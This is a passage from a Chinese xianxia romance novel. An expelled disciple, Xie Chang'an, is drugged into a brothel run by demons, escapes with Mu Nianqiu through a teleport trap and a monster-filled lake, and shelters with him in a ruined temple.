五天前,他从家中听闻天枢院院主沈星河去世的消息。他没怎么见过沈星河,传闻中沈仙师一直是个光风霁月的君子,心系苍生的标杆,如今意外去世,众仙门同气连枝,遇到这样不幸的事,于情于理都该来吊唁。
沐念秋和舅父兄长一同来到玉衡山,走在山间小道,竹影婆娑,空谷鸟鸣,与地处中原的明德宗不同,玉衡山有着南方特有的湿润,细碎的阳光穿过竹林打在他的身上,让他不禁想起两年前那个桂花飘香的夜晚,那时候各门派弟子一同在白灵山修行……
“沐宗主,二位公子,三位请。”门口有弟子指引来访的客人进厅堂。
穿过几个小院来到灵堂,只见灵堂当中立一灵位——上书“天枢院第八代掌门沈星河之位”,灵堂里一片肃穆,一众人皆面色沉重,吊唁完毕后,沐观海独自到正堂与沈清方说话。
沐念秋谢绝了门中弟子的好意,独自在天枢院里转了转,终于在一处院落里找到了正在浇花的谢常安,自打上次苍翎门匆匆一别,天枢院又发生了这样的事,他已月余未见谢常安了。
眼前的她眼眶微红,脸颊似有泪痕未干,神情憔悴——他见过张牙舞爪的她,笑容灿烂的她,不知所措的她,胆小可爱的她,却是第一次见她脸上露出这种落寞破碎的神色,不知怎的,他的心里也一揪一揪的有些难受。
自打师父走后,谢常安每天都会来照顾师父养在院中的各种花花草草,她没想到有人会来,更没想到来的人会是沐念秋。
“沐念秋?”
“谢姑娘。”
谢常安赶忙放下手中的水壶,胡乱地抹了把脸,意识到自己有些失态了,她匆忙收起悲伤,露出一个笑容。
“沐公子,你进来吧!”
沐念秋脸上闪过一瞬间的落寞,原先伸向怀中的手又默默地落了回来,走进了这个院落,隔着三步不远不近站在谢常安身旁。
两人谁也没开口说话,过了一会儿,还是谢常安先开口。
“我……我不知道你今天来。”
“嗯。”
“这是我师父养的花,这棵是月光花,到了晚上会发光,长在眉山那边,当初费了好大的劲儿才搬回来,为了养活它师父不知废了多少心思;这盆是风絮草……”谢常安不想让别人担心自己,没话找话道。
“那这盆呢?”沐念秋指着中间一棵不太起眼的问道。
“这是我从后山挖的,最不值钱,师父说正好有空花盆,空着也是空着,就和这些名贵的花儿养在一起,好不搭……”
“没有,这棵很好看。”
谢常安默默地在心里鄙夷了一下沐念秋的审美,“没想到你喜欢这样的,下次你来,我带你去我们后山采,春天的时候可多了……”
-
送走一波又一波前来吊唁的仙门同道,日子一天一天过去,谢常安不知道那天沐观海和沈清方二人说了什么,只知道当晚师兄又在师父的灵堂里待了一整夜没出来。
日子一天一天过去,师兄的话越来越少,他好像被什么压着,没有了往日的轻快——谢常安想不出来,是天枢院的院主之位?还是为师父查清真相、报仇雪恨的责任?以往的师兄温柔可亲,和她无话不谈,如今——虽然面上对她还是一样的关怀备至,可她总觉得有什么变得不一样了,师兄好像变得冷冰冰的。
沈清方每天都很忙,谢常安根本没机会像以前那样黏在师兄身边,每天和师兄一起吃饭习武,她越来越搞不清师兄在干什么,在想什么?他总是早出晚归,甚至几日不回,回来后也总是一脸疲惫。
可她知道,自那以后,沈清方一直频繁地和沐观海有往来,他们之间一定有她不知道的事情,两人好像达成了什么协议——但谢常安本能地觉得,这个协议未必有利于天枢院。
直到一天,沈清方外出回来,这次同以往不同,他带走一大波人,却说什么也不肯带上谢常安。
他们走了足足三月,期间音信全无,山门里无人知晓他的行踪。
回来当晚,天枢院的地牢一下子满了——天枢院地牢是为关押妖兽设置的,平时外出降妖,往往当场渡化,其实很少会遇到需要把妖物带回山门处置的情况,因此天枢院的地牢常年空置,基本没什么使用的机会。
这次沈清方却大张旗鼓,一反常态,围猎数百只白泽兽,没有做任何解释,全部关押地牢。
谢常安再也忍不住了,她三个月来日日担惊受怕,生怕自己从小一起长大的师兄会像师父师姐一样,再也回不来了。可是沈清方平安回来后,不仅一句解释没有,还抓回数量如此之多的无辜妖兽——白泽兽群居于东海群玉山,从不伤人,民间多传其为祥瑞之兽,仙门除妖,一般也是只除作乱的恶妖,没人愿意做费力的无用功,这次抓来这么多,怕是得是把人家窝都端了,实在匪夷所思。
师兄是在做什么危险的事情吗?
她一定要问个清楚。
-
当晚夜深,众人散尽,谢常安不顾沈清方数月奔劳,直接冲进他房中,强压下心中的燥郁,尽量平心静气道:“师兄,白泽兽从不伤人,你把他们抓回来,为什么?”
“安儿,这事你别管了,回去吧!”沈清方轻飘飘揭过,避而不谈。
“你以前不是这样的,自从你接任掌门,很多事情我都不明白!”谢常安单刀直入,从前她和师兄无话不谈,今天她也不想拐弯抹角。
“我没有残害无辜,它们本就是妖兽,师父就是死在妖兽手里的,你为什么为了这些忤逆我?”沈清方眼底青黑,实在是累了,没有耐心再敷衍自己的小师妹,“好了,常安,时间也不早了,你先回去吧。”
谢常安不肯罢休,“你把它们抓来关起来,和杀了他们没两样,然后呢,把他们送给明德宗那群伪君子吗?”
“谢常安!沐宗主不是这样的人,你懂不懂什么叫祸从口出!”沈清方突然暴怒。
“你为什么要把四师兄调到漠北,你明知道他不可能跟你抢掌门之位。然后呢,你是不是也要把我……”谢常安隐忍数月,此时不知怎么了,理智的琴弦突然崩断,明明不想这样,却控制不住自己口出恶言。
“谢常安!你明知道……”沈清方不敢相信师妹会说出这样的话,一时气急。
“你不能善恶不分,要是师父还在……”谢常安见师兄脸色极差,终于还是不忍心再说下去。
沈清方一时失态,深吸几口气,此时已冷静下来,语气冰冷,“师父已经不在了。”
“师兄,为什么?你以前不是这样的……”
沈清方深深看了眼师妹,还是开口道:“常安,你只要好好待着,别多事,我是不会动你的。”
两人大吵一架,不欢而散。
-
思前想后,谢常安做了一个及其不理智的决定。
当晚,她并没有听话好好待着,而是一不做二不休,连夜放了两把火,一把烧了天枢院历代祠堂,引得众人一片大乱,匆忙救火;又大开地牢,同时打开山门防护结界,趁乱私自放走五百头白泽兽后,另一把火烧了天枢院地牢
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。
做完这一切,她哪也没去,先去把师父院中的花都浇了,众人找到她时,她正在院子里帮芳姑姑洒扫。
天枢院玄武堂,是历代掌门审讯处罚犯了院规的弟子之地,沈清方一夜未眠,此时端坐玄武堂高台之上,台下四周站着一众弟子,大堂中央正是同样一夜未眠的谢常安。
沈清方:“火烧祠堂,私放妖物该当何罪?”
一名掌罚的弟子答道:“按院规杖七十,逐出师门。”
沈清方:“师妹,念在往日情分,我不责罚你,你可知错了?”
谢常安不领情,“我不知错。”
一旁有人开口劝道:“掌门师兄,小师妹年少无知,哪里受得了七十杖责,事已至此,就从轻发落,饶了她这一回吧!”
又有人不服,阴阳怪气道:“年少无知就能捅这么大的篓子啦?今天你烧祠堂,明天我烧院房,咱天枢院还过不过了,直接全烧了算了!”
“你!师妹从小是我们看着长大的,肯定……”
沈清方:“够了!都不要说了!谢常安年少无知酿成大错,念其旧情,杖责可免,但。”
“即日逐出师门,从此不再是天枢院的弟子。”
谢常安静静地望着高台上师兄晦暗不明的面孔,无声地笑了笑,脱掉自己身上和众人一样的外袍,解下腰间刻有天枢院院标的令牌——令牌是她七岁那年师父亲自给她挂上的。
她把令牌拍在桌上,最后看了一眼高台上的沈清方,转身头也不回地走了。
-
-
谢常安漫无目的地踢着路上的小石子,下山不知不觉已有两天,包裹里的口粮已经见底,她心里却还是一点成算也没有。
要不干脆去萱萱家里蹭两天饭,可去了怎么解释?说我把家里祠堂烧了所以被赶出来了,能不能收留我一阵子哈哈!
然后问她为什么烧祠堂,她再解释说和师兄闹别扭了,被逐出师门,无家可归了……
太丢脸了!太冲动了!太不是个事儿了!谢常安说不出口。
她痛苦极了,根本不想面对这一切,横竖荒郊野岭前后无人,她索性抱着脑壳蹲在地上哀嚎起来。
果然是冲动一时爽,事后难收场。
没嚎出个所以然来,却听见草丛里传来轻微的呼吸声。
谢常安五感灵敏,马上就注意到了这个活物。她慢慢放下手臂,睁大了眼睛,蹲在地上往草丛里探头去看。
仔细一看,草丛里竟躺着一个衣衫褴褛,浑身是伤的小女孩。
怎么有个人在这?还是个小孩子?谁把她打成这样丢在这里?
她顾不上许多,赶忙过去把小孩儿从草丛里抱了出来,探了探脉息。
人还活着,小女孩浑身是泥靠在她的臂弯里,一条胳膊不正常地扭曲着,像是断了,慢慢睁开了眼睛。
小女孩瞳孔的颜色比常人浅很多,在阳光下像一块琥珀,谢常安一边给她输送灵力,看见这双眼睛,一边不由自主地想起了一个人。孩子像一只落单的小兽,楚楚可怜,嘴里好像在嘟囔着什么,谢常安听不真切,俯下身凑近。
“你怎么样?还好吗……”
小孩凑在她耳边,用仅剩的一只胳膊轻轻环上谢常安的脖子,可怜兮兮地喃喃道:“姐姐,救救我,我好疼啊……”
看见小女孩这幅可怜的模样,她心都要碎了,当即决定挺身而出。
“姐姐一定会……”
谁知不待反应,只见那女孩悠悠一笑,一阵异香传来,她便失去了意识。
12. 旖旎
谢常安再次醒来时,发现自己处于一个十分诡异的境地。
她的脑袋格外的昏沉,身体完全不受意志控制,一切知觉几乎消失,鬼压床似的无法动弹,她张了张嘴,也不知自己是否张开了嘴,不出所料,嗓子也发不出一点儿声音。
她只得暂时放弃夺回自己身体的控制权,放任自己躺在那里,等待的时间总是显得格外漫长,又不知过了多久,她的知觉渐渐地恢复了几分,感觉到自己躺的地方十分的柔软,身体仿佛陷在一片柔软温暖的的云朵中,四周灯光昏暗,暖香袭人,温柔乡一般,引人遐想。
谢常安挣扎着睁开沉重的眼皮,微眯着眼,长吁了一口气,只见自己正身处一间极大的房间,躺在一张宽敞柔软的床榻上,床榻上层层锦被,四周挂满了一层层轻纱般华丽的帷幕。
什么情况?这是哪里?
她愣愣地望了会儿天花板,记忆才后知后觉的袭来,想起自己在路上好心救人,竟被一个看似手无缚鸡之力的小女孩给坑了,别说身上的盘缠肯定是不知所踪了,自己如今还陷入这样一个诡异的境地里!
早知道她就不该在外面漫无目的的乱晃,直接去知春堂蹭吃蹭住就好了!丢人算什么?总比现在这样强点吧——况且现在这样就很有面子么?
她怎么也无法接受这个倒霉的现实,感觉自己流年不利,最近实在是没有一件好事,发生的每一件事都出乎自己的预料,两个月过得几乎比她前十几年的人生还要丰富多彩!
然而她的霉运还没结束,从刚才开始,她就发现,自己没办法调动体内的灵力了。
太糟糕了,修士没有灵力,就如同猛虎被拔去爪牙,鹰隼被砍去翅膀,案板上的鱼肉,待宰的羔羊……
她徒劳无功地一遍又一遍试图唤起沉睡的灵力,可所有的努力,都如同泥牛入海,石沉大海,馒头打水漂——白费力气!
好死不死,房间的门轻响一声,却是被什么人从外面打开了。
-
房门一声轻响,不知何人推门进入了房间,脚步声渐进,一声声回响在空旷的房间里,谢常安的心瞬间被提了起来。
此时自己寸步难移,简直如同待宰的羔羊一般被人摆在床上,心一下凉了大半截,暗道不妙:“怎么办怎么办……也不知道背后是何人把我坑到此处,这鬼地方一看就不是什么正经地方,来人多半不善,真真是我为鱼肉人为刀俎……”
沐念秋推门而入,环视四周,房间比他想象的还要大很多,地板光滑如明镜,踩上去掷地有声。房间内布置精美,空气中流动着一股甜腻腻的花香,房间当中置一道屏风,上面画着一幅春色旖旎的美人图,屏风之后似有几层帘幕。
这个地方太奇怪了,屋子里温暖极了,让人不由自主地想放松下来,卸下防备。
他直觉不对,强迫自己警惕起来,环视四周,却没有发现有任何的危险之处。
帘幕后面是什么?会不会有未知的危险等待着他?
他心中疑惑,不敢大意,镇定地向屏风后一步一步走去。
绕过屏风,只见重重帘幕之后,摆放一张四角雕花红木床,床上躺着一人,身形掩藏在层层轻纱后,影影绰绰看不真切。
好眼熟啊……
他忍不住皱了皱眉,走上前去,掀开重重帘幕。
床边的轻纱一定是用了上好的料子,在随人走过带起的微风中曼妙漂浮。穿梭其间,轻纱像羽毛一样柔软,轻抚过他的手背和脸颊,感觉痒痒的。
他不再犹豫,三两步行至红木床边。
掀开帘幕,却只见床上躺着的赫然是一动不动的谢常安?!
此时的谢常安墨发披散,如同海藻一般散落在锦绣之间,她一动不动,四肢完全舒展躺在床上,一双大眼睛滴溜溜地转个不停,眼角一抹鲜红,平添了几分艳丽。
沐念秋错开眼去,向下一瞥,只见她身着一身轻薄红衣,纱织的袖子包裹住一双白皙的胳膊,腰身看起来纤细柔软,陷入在柔软的床垫中,一双白花花的长腿半掩半遮,手腕脚腕腰间脖颈皆配有银饰环佩,更显几分异域风情。
他见谢常安与平时大相径庭,刚才的镇定冷静瞬间分崩离析。
屋子里什么时候这么热,热的他一阵口干舌燥,他突然感觉有点喘不过气来,不自觉地咽了口口水,一阵从未有过的头脑发热,一时间不知该作何反应。
沐念秋怎么会在这?
谢常安浑然不知自己现在的模样,见来人是沐念秋,悬在半空的心一下子落了地——不管怎么样,能在这种地方莫名其妙地见到熟人,她顿觉如同久旱逢甘霖,他乡遇故知,柳暗逢花明,春宵一刻值千金……简直要热泪盈眶了。
现在唯一能活动的就是眼睛,谢常安于是拼命的睁大眼睛向他使眼色。
沐念秋直挺挺站在床边,眼神飘忽,无动于衷。
谢常安吐血,这是搞什么?什么意思?
难道要见死不救吗?
她心中愈发着急,多在此地待一刻就多一分危险,她是一秒钟都不想再多待了!
可如此生死攸关的境地,却不知沐念秋还在想些什么,傻站在一旁,不赶紧帮忙!
不会也是来害她的吧?
正当两人相顾无言之时,房门又是一声轻响。
-
这个时候有人开门进屋,两人皆是大惊。
沐念秋却比谢常安还要惊慌,反应及其迅速,手忙脚乱地把谢常安打横抱起,小心护住了她的头,就地一蹲,利落地藏到床底下。
床下空间狭小,一个人尚有余量,两个人却实在太挤。谢常安惊疑不定地趴在沐念秋的身上,一点儿冰凉的地板都没接触到。
刚刚的一切发生的太快太丝滑了,沐师兄或许有做梁上君子的天赋,反应机敏、手脚麻利、不留痕迹、一点儿也不掉链子……
要说起来,两人已经不是第一次离得这么近,可谢常安却是第一次这么心乱如麻。
她感觉到沐念秋的呼吸打在自己脖颈间,整个人都被他的体温环绕住,鼻尖充斥着熟悉的气味——是沐念秋身上凛冽的松香。
两人保持着这个姿势皆是一动不动——一个不能动,一个不敢动,四周安静得落针可闻,只有胸腔鼓动,分不清是谁的心跳。
见他第一反应是鬼鬼祟祟地躲起来,谢常安方才的一点儿怀疑和顾虑一下子烟消云散。
她张了张嘴,想要说些什么,却发现忘了现在发不出声音来。
沐念秋的手虚扶在她头顶腰侧,一动不动注意着外面的情况。
门又一声轻响,来人只是在桌上放下了什么就开门走了,应该是来添置茶水,提前布置的小厮,虽是虚惊一场,两人也不敢再耽搁。
沐念秋赶忙抱着谢常安从床下出来,稳稳当当地把她放到床上。
凝神聚气解开她的周身大穴,又从怀里摸出一个瓷白色小瓶子,倒出一颗黄豆大小的药丸,喂给谢常安。
“咳咳!”
一阵咳嗽,谢常安感觉自己身上一下子松快了,刚才经脉麻痹的感觉顿时消了七七八八,看他掏出一颗药丸喂给自己,只觉瓶子好像有点眼熟,像是在哪里见过。
“你体内余毒未清,吃了就好了。”
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沐念秋又倒出一颗药丸。
“唔……好。”
谢常安没多想,接过小药丸囫囵咽了,又问:“你怎么随身带药?”
“碰巧,快走吧,那边有个窗户,咱们翻出去。”
“好!”谢常安翻身正欲下床,脚还没占地,却见沐念秋不知从哪弄出双鞋子,半跪在地,要给自己穿鞋。
谢常安大惊,哪里好意思这么麻烦他,赶忙摆手道:“哎哎哎,不用不用,这点小事,我自己来,自己来……”
沐念秋闻言,默不作声地收回手站起身,也没再坚持,待她快速穿好鞋子,两人一齐来到窗边,先扒开一个小缝往外看去。
从窗外可以看出,此时二人正处在一间类似于酒楼的房子的二楼,刚一打开窗户,外面热闹的吵嚷声,丝竹管弦的乐声就一下子大了起来——可见两人所处的这间屋子上了什么隔音的法术,关上门窗竟一点外面的声音都听不到。
窗外暂时无人,机不可失失不再来,两人赶忙悄无声息地翻出窗来,终于看清了大堂一楼的情景。
一楼华丽非常,许多男男女女勾肩搭背,应当是一家青楼楚馆的大堂,堂中富丽堂皇,当中挂一牌匾——大写着“撷芳斋”三字。正东方搭一圆形舞台,状似花苞,舞台上一名穿着十分暴露的舞姬正翩翩起舞。
莺歌燕舞,纸醉金迷。
“这里……”
谢常安惊愕极了——不是因为这里是青楼,而是自打出了房间,一股扑面而来的妖气就让人无法忽略——这里的妓女全是妖!
“醉——卧——牡丹丛——”
台上的舞姬扭动着曼妙的身体,咿咿呀呀地开口唱道,一双双异色的瞳孔媚眼含丝,风情万种。舞姬歌女中不乏头上长着各种耳朵,身后长尾巴的,飞扬的罗裙下竟是兽尾兽腿,都随着舞步灵活地摆动着。
台下众妓女身上妖化的痕迹各不相同,肆无忌惮地与身旁的宾客斟酒调笑,空气中充满了淫靡的妖气。
来的宾客都心照不宣地施了易容术,认不出原本的面貌。
更可怕的是,这些女妖中夹杂着一些年龄看起来尚小的,有些如十几岁未及笄的少女,甚至有些身形状如女童,看起来只有七八岁!
谢常安不敢细想,自古人妖关系恶劣,以玉髓山为界,山南为妖界,山北为人间。妖族自立妖王统治,山北人族生活,两族互相排斥,人族渴望妖界富足的资源和充沛的灵力,而一些妖族以人类的血肉或内丹为食。虽以山为界,却时常发生冲突,众玄门修仙问道也多是为了除恶杀妖,保卫一方百姓平安。
这青楼离妖界山高路远,怎么会有这么多妖?
这撷芳斋撷的什么芳?
是谁手眼通天,建了这个地方?来这里的都是什么人?
一曲舞罢,四周突然陷入一片黑暗,接着星星点点的烛光接连亮起,乐曲也更加迤逦舒缓。
宾客们的动作更加大胆,台上的舞娘眨眼间已换了一身新的装束,脚下舞台如花苞渐渐绽开,所有人的注意力都被吸引。
千载难逢的好时机!
谢常安灵机一动,学着女妖的样子挽起沐念秋地胳膊,故作亲密状,小声催促道:“快走快走,门在下面。”
沐念秋身子僵了一下,轻咳一声,配合地搂住了谢常安的腰,往楼下走去。
两人悄无声息地穿过大堂,耳边尽是乐声混杂着各种淫靡的声音,没有人注意到他俩。
“好极了,还没有人发现,不会这么容易就让我跑了吧?”
终于靠近大门,谢常安迫不及待伸手推门,门却分毫不动。
13. 漩涡
怎么开不开?
她疑惑地调动了一丝细微的灵力探知——“探知”是天枢院的绝技之一,与炼器同理,通过感知灵力的流动来得到信息——这扇门上似乎有一个妖力禁制,想要进出需要有妖力或是相应的信物。
禁制十分复杂,谢常安一时无法弄清,只能感受个大概,真是好的不灵坏的灵,现在门就在眼前却出不去,这和饭到嘴边了却被饿死了有什么区别?
“这……”话未出口,只见身旁沐念秋伸手轻轻一推,门却开了。
???
为什么?
凭什么?
这门上的禁制还分人吗?
谢常安大不理解,感觉自己好像被区区一扇破门针对了。
“愣着干什么?快走。”沐念秋不知道短短几秒她心里的大起大落,见她呆在原地,轻轻拽了一下她。
“哦哦。”此时谢常安欣喜大于气愤,决定没必要和门一般见识,开心地跟上他的步伐,自我感觉逃跑地蛮顺利。
可出门的一瞬间,她就意识到自己高兴地太早了。
且不说这鬼地方前不着村后不着店,四周荒凉无比,楼里和楼外简直天差地别——楼内富丽堂皇,可楼外看去却破败不堪,荒郊野岭活像个鬼屋!
里面温暖如春,而外面已是暮秋时节,她只穿了一身布料极其节省的纱衣,立在寒风里简直是瑟瑟发抖!
一阵风不合时宜地吹过,谢常安刚下意识的抱紧了胳膊,一件外衣就披到她的肩头。
沐念秋见她穿着单薄,此时又无暇去找合适的衣服,于是解下自己的外衣披在了她身上。
“沐师兄,你怎么知道我冷,多谢啦!”
“你穿的太少,容易生病。”
沐念秋在背后搓了搓刚刚搭在她腰上的手指,指尖上的温度仿佛还没散去,像一把小刷子扰的他心头痒痒的,明明什么也没发生,他却控制不住自己一阵心烦意乱。
正对着门口不远处是一座石桥,桥下无水,对岸漆黑一片,看不分明。
“这……这往哪走啊?要过桥吗?”
“走吧,这桥应该不是白修建在这的,过去看看吧。”
谢常安裹紧外衣,正要踏上石桥,一个没留神不慎踩在了衣角上——这衣服对她来说有点太长了,她一下失去平衡就要扑倒。
沐念秋却反应比她还快,一转身稳稳地扶住了她,她正松了口气,想要道谢。
“诶……”
话未出口,说时迟那时快,他却又飞快地把她推开。
“诶?”
谢常安被推的一愣,顿时摸不着一点儿头脑,闻了闻自己,心想:我刚刚是没怎么着他吧?是吧?难道是我身上沾的香气太过刺鼻了吗?
那也……不至于这么大反应吧,他竟然如此讨厌我吗?不至于……吧?
仔细想想沐师兄好像平时是不爱说话,或许是不喜与旁人多说话多接触也未可知。
自己三番五次给他添麻烦,或许有些冒犯到他了,这个反应也是人之常情……
谢常安自觉有一些情商在身上,心里记下来,面上不显,随意打了个岔:“哈哈,沐师兄,你看这桥头……石栏上刻的是什么?好特别的……动物?”
“应该是妖兽。”沐念秋道。
“刻这么多妖兽干什么?果然是黑店!”
石桥两侧扶手上每间隔一小段就雕刻一只造型奇特妖兽,各色不一,虽已蒙尘许久,也能看出雕工精细,妖兽石雕下方挂着一溜的破破烂烂的纸灯笼,灯芯早已燃尽,没有一点光亮。
两人过了石桥,来到对岸,对岸漆黑一片,只有些许月光映出一小片光亮,四周仍是荒凉无比,一片旷野,看似方圆百里都不像有活人的样子。
“沐师兄,这没路了呀?我觉得这地方不对劲,肯定有传送结界。”
四周空旷荒凉得不合常理,多半是有空间类的法术障眼。
“嗯,柳树。”
“柳树?”
跟着沐念秋的话,谢常安侧头注意到石桥边的一棵不起眼的柳树,凑近两步仔细一看,恍然大悟。
“奥,对啊!沐师兄果然见微知著!”
“这已经深秋了,怎么这垂柳还没有落叶,法阵一定在这里!只是怎么启动呢……要念什么口诀吗?一般得有个‘钥匙’之类的吧?上哪找去……”
谢常安想得入神,随手拍了拍垂柳粗糙的树干,未成想只见沐念秋腰间玉佩白光一闪,霎时间天旋地转。
不知道触发了什么法阵,谢常安感觉自己像是被高高抛起,又重重下落。再睁眼,两人已经落入一片湖中,冰冷的湖水席卷而来。
一切发生的太快,她怎么也想不到法阵会把来寻欢作乐的“客人”直接扔到湖里,下意识地拼命挣扎起来。
她仓促间抹了把脸,努力张望,却没看到沐念秋的身影,夜晚的水面看起来黑沉沉的,仿佛深不见底,要把误入的行人拆吞入腹。
湖水由远到近暗流涌动,平静的湖面霎时掀起大波,水下一个巨大的黑影快速逼近。
窒息的恐惧包裹来,未知的危险就在眼前。她拼命挣扎,可河岸就好像远在天边,无论怎么努力,也无法到达。
波澜顷刻间形成一个巨大的漩涡,叫嚣着要把她吸入其中。
正当此时,只见一只巨大的黑色怪鱼从旋涡中一跃而起,巨浪直冲水面。黑鱼尖利的牙齿在月光下反射出森然的冷光。
谢常安从没见过这么大的鱼——不知还能不能称之为“鱼”,瞬间汗毛倒起,有种被怪物锁定住的感觉,一下子呛了好几口水。
“咳咳——”
“不能慌不能慌……快点想快点想办法啊……”
她一口气刚捯过来,好险没沉底,黑色怪鱼却不给她思考的时间,迅速扑了上来。
说时迟那时快,谢常安条件反射地摸向自己的腿侧匕首,不出所料摸了个空——自己的行头早就不知道被丢到哪去了,身上怎么可能还留着武器?
匕首是文萱送给她随身带着的,丢了不仅可惜,没想到还要命。
眼前是惊天巨浪,恶鱼扑食,自己却不仅灵力没恢复完全,就连把防身的冷兵器都拿不出
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来。
“靠靠靠倒霉倒霉倒霉——”
她用尽全身力气,调动起仨瓜俩枣的灵力,勉强撑起一个护盾,企图挡下这排山倒海的一击。
全完了。又要完了。
越是危机万分,她的脑子反而越是不受控制地胡思乱想,闪过的最后一个念头居然是:这场景怎么有种似曾相识的熟悉感?
突然间白光一闪,一道人影挡在了她前面。沐念秋不知从哪里游来,及时雨一般挡在她身前。
“沐师兄!你来了!”
“当心!”
还未等他出手,黑色怪鱼却骤然停下,扎入水中,掉了个头游走了。
“啊?为啥啊?怎么走了?”
谢常安疑惑又挫败,面对突如其来的变故,像个可怜的老实人站在原地瑟瑟发抖。
“先上岸吧。”
“不是……怎么就走了?”
“恋恋不舍?”沐念秋有心思开起玩笑。
“再叫回来问问?”
“不用了,那倒不用……”
没了怪鱼,水面慢慢平静下来,两人十分顺利地游到了岸边。
上了岸,谢常安浑身脱力,累得简直要趴在地上了,想起刚才的情景,又想起这一晚上的颠沛流离,要是没有沐念秋,自己可能死在哪都不知道,她一肚子心酸和感激无从开口,想说“谢谢”,又觉得一句轻飘飘的“谢谢”实在太轻飘飘了。
千言万语汇聚心头,绝处逢生,她险些热泪盈眶,脑子一时间没跟上嘴,不知怎的脱口而出一句。
“我其实挺擅长游泳的,真的。”
“……好”
沐念秋正苦思冥想想不通那怪鱼怎么回事,没跟上她这跳脱的思路。怎么死里逃生后突然探讨起游泳技术了,她那游泳水平也算好么?
谢常安也意识到自己这话说的有点驴唇不对马嘴的,找补了句废话:“呃,沐师兄,你知道方才那怪鱼是什么吗?怎么你一来它突然就跑了?”
“嗯,这撷芳斋的传送法阵不一般,应该是一种防护机制,我推测只有通过某种渠道来的‘客人’才能随意进出,而像咱们这种误入的外来者就会被扔到这种危险的地方喂鱼。”
“原来如此!”谢常安一手握拳敲击另一手掌心,恍然大悟,“这样就没有人能把撷芳斋的秘密传出去了,怪不得,真是好手段……可是沐师兄,你是怎么……阿嚏!”
夜色正浓,两人如同霜打的鹌鹑一般湿漉漉得站在岸边高谈阔论,刚刚死里逃生热血沸腾,此时凉风一吹,才觉寒意正浓。
谢常安禁不住打了一个大大的喷嚏,她摸了摸胳膊,挤了挤身上布条上的水——方才在水里用力过猛,身上沐念秋的外袍早不知漂哪里去了。
回想这一晚上翻窗滚地,游泳躲避,简直如铁人三项一般费力。她不由得悲从心起,感慨万分——从前在天枢院养尊处优,哪里做过这么辛苦的勾当?此时突然觉出又冷又饿,结结实实地体会了一把什么叫做饥寒交迫!
“好冷好冷,咱们还是快走吧,找个地方擦擦。”谢常安吸了吸鼻子。
14. 破庙
四顾茫然,两人从天而降来到这里,此时想要走都不知道往哪边走的好。
沐念秋见她冷,拧了拧衣服上的水,正想再脱一件给她挡挡风——虽然是湿的,但或许有总比没有强。
天不逢时,没等沐念秋脱下衣服,天上又水灵灵地突然下起雨来,越下越大,冰冷的雨点顺着下巴往下流。
“……”
“……”
沐念秋的手僵在原地,刚拧干的衣服转眼又湿了,拧了白拧,拧了个寂寞,属实是越努力越辛酸。谢常安却突然哼一声笑出声来,“哈哈!”
短短一天,莫名其妙被坑进青楼,被怪鱼追杀,被淋成落汤鸡,这都没死掉,不知道该说是倒霉还是幸运。
见沐念秋一脸看神经病的担忧,她忙解释道,“不是,我没疯,我只是觉得,今天一天太倒霉了,人竟然能倒霉至此,这真是太有意思了!”
沐念秋已经放弃了拧干衣服,把一件湿衣服给她披上,思索片刻,仿佛听到了什么令人开心的事情,沉吟道:“嗯,你说得对。”
避雨是为了避免被淋湿,此时二人早已湿透,全然无此顾虑,并不在意多淋一会儿还是少淋一会儿,从容地在雨中漫步,谁也不知道该往那边走,两人于是随便选了个方向,并肩前行。
“好想喝冬瓜汤,热热的那种,我跟你说,放一点胡椒粉,和鸭子一起煮,出锅最好是再加上点香菜,熬出来的汤奶白奶白的,特别鲜美。”谢常安抹了把脸,平静地说。
“听起来很好喝,很适合现在喝。”沐念秋也抹了把脸上的雨水。
“诶你吃过醉春楼的花雕蟹吗?之前我和……吃过一次,特别好吃,秋天的时候——差不多就是现在这个季节吧,是一年中最适合吃的时候,真的很肥美,还有点甜甜的,也特别好吃。”
谢常安一脸回味,“沐师兄,你们那边有什么好吃的吗?我还没怎么去过呢。”
不等他回答,她又接着道:“唉,沐师兄,其实我现在挺难过的,我好饿啊,唉,又没有地方可去……”
“有地方去。”
“啊……什么?”
“你看,前面不远,有个村庄。”沐念秋抬手一指,前方雨幕下依稀可见一个小村落。
“哇真的诶!可是这么晚了,会不会太打扰别人啊?而且咱俩现在这幅尊荣,看起来也不像是什么路过的好人吧……”
话音刚落,一道闪电劈下,照亮了两个人的脸,两人互相看了一眼对方狼狈的样子,头发湿淋淋得贴在脸上,在电光的映衬下着实有点儿可怖,投宿的念头顿时打消了几分。
一阵默契的沉默后,沐念秋提出建议:“不管怎么样,先往前走看看吧,村子里总有能避雨的地方吧!”
“嗯,有道理,人总不能一直这么倒霉的。走吧走吧!”
天无绝人之路,两人在村边发现一座破庙,虽看起来年久失修,但进去避避雨已是足够。
两人收拾出一片空地,安顿下来,沐念秋捻了个火诀,生起一堆篝火。供桌上不知供的哪路神仙,或许是当地的山神,供盘里水果已经腐烂,馒头又冷又硬。
庙外还在淅淅沥沥地下着雨,庙里两人围坐火堆旁,边取暖边烘干衣服,一间破败的小庙仿佛隔绝住了外面的一切风雨。
“沐师兄,我可不可以……叫你的名字啊?”谢常安拿着一个硬馒头,眉眼弯弯一脸期待看向他,两个人这一路上也算是同生共死的朋友了,直呼其名不算过分吧?
“可以。”
都说灯下看美人,火光下沐念秋的脸庞柔和了许多,眼角泪痣灼灼,琉璃色的眸子里浅浅倒映出一抹动人心魄的颜色。
“当然,我不会亏待你,你也可以叫我常安,以前我师……大家都这么叫我的。”提起伤心事,谢常安得声音小了下去。
“好。”沐念秋的语气听起来心情似乎不错,篝火火苗劈啪作响。
“沐念秋,我还有一个疑问,你是怎么也到撷芳斋去了?”终于安顿下来,谢常安想起来,问道。
“我也没想到会在那里碰到你。”
“我是……”谢常安突然想起,师兄之前帮明德宗办的缺德事——肆意围捕白泽兽的事还没个结论。
她虽然相信沐念秋不会和这件事有关系,可她之前也相信师兄不会做这种事——最后师兄还是做了。于是她留了个心眼,先没提自己被逐出师门的事。
话锋一转,含糊道:“我是和……师兄吵了一架,离家出走,就……一不小心。”
“我也是,和家里吵架,离家出走。”沐念秋道。
谢常安其实不太相信,哪里会有这么巧的事?就算是离家出走,跑到青楼也太奇怪了。
难道是明德宗出了什么事?说起来这么久了,演武大会混入杀人妖兽的事情,沐宗主也没查出个所以然来。
谢常安很想趁机打听打听,可转念一想,她一个外人,乱打听人家的私事,他估计也不会多说。
“那你怎么会跑到那种地方去啊?”谢常安随口问道。
沐念秋脸色微红,不知想起了什么,他会出现在那里其实并非意外——家中确有变故,他顺藤摸瓜不想查到了这样一个地方。
但此时一切尚未清楚,他实在不知如何解释,只能先敷衍搪塞过去。
